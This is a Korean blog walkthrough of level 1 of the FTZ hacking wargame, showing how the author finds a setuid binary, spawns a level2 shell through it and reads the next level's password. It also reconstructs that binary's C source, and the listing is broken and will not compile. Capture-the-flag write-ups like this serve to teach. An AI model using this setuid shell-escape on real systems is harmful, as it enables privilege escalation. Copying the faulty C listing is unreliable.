Phantom

FTZ Level1 본문

Pwnable/[Wargame] FTZ

FTZ Level1

Ph4nt0m_ 2016. 3. 18. 09:17
반응형

[level1@ftz level1]$ cat hint

 

 

level2 권한에 setuid가 걸린 파일을 찾는다.

 

Level1의 문제는 소유자는 level2이며 setuid가 걸린 파일을 찾는것이다

리눅스 명령어인 find를 이용해 파일을 찾는다

[level1@ftz level1]$ find / -user level2 -perm +4000 2>/dev/null

 

/(root)부터 검색해서 소유자가 level2이며 권한은 setuid가 걸린 파일을 찾는데 오류는 휴지통?(null)로 보낸다

/bin/ExecuteMe

[level1@ftz level1]$ ls -l /bin/ExecuteMe

-rwsr-x--- 1 level2 level1 12868 Sep 2 02:31 /bin/ExecuteMe

검색했더니 파일이 나왔다 소유자는 level2이며 setuid가 걸린 파일이다

이 파일을 실행해보겠다

[level1@ftz level1]$ /bin/ExecuteMe

 

        레벨2의 권한으로 당신이 원하는 명령어를

        한가지 실행시켜 드리겠습니다.

        (단, my-pass 와 chmod는 제외)

        어떤 명령을 실행시키겠습니까?

        [level2@ftz level2]$

여기서 조금 해맸다 뭘 입력해야 하는건지 감이 안왔다

시스템 해킹의 기본중기본인데 시스템해킹은 쉘을따려는게 목적이다

그래서 다음과 같은 명령어를 입력했다

 

[level2@ftz level2]$ /bin/sh

 

그리고 id명령어를 입력하여 현재 어떤상태인지 알아보았다

sh-2.05b$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)

 

uid가 level2다 my-pass를 입력하면 비밀번호가 나올 것이다

sh-2.05b$ my-pass

 

Level2 Password is "hacker or cracker".

 

이로써 level1을 클리어 했다

 

 

  • 16-03-06 /bin/ExecuteMe hand-ray

#include <stdio.h>

#include <direct.h>

Int main(){

        Char buf[30];

        System("/usr/bin/clear");

        Chdir("/home/level2");

        Printf("레벨 2의 권한으로 당신이 원하는 명령어를\n

         한가지 실행시켜 드리겠습니다.\n

         (단, my-pass와 chmod는 제외)

         어떤 명령을 실행시키겠습니까?

         [level2@ftz level2]$ ");

        Fgets(buf, 30, stdin);.

        Strstr(buf, "my-pass");

        If(buf == "my-pass" || buf == "chmod"){

            Printf("%s 명령은 사용할 수 없습니다.\n",buf);

            Exit(0);

        }

        Setreuid(3002,3002);

        System(buf);

        Return 0;

}

 

Phantom@teamh4c

반응형

'Pwnable > [Wargame] FTZ' 카테고리의 다른 글

FTZ Level6  (0) 2016.03.18
FTZ Level5  (0) 2016.03.18
FTZ Level4  (0) 2016.03.18
FTZ Level3  (0) 2016.03.18
FTZ Level2  (0) 2016.03.18
Comments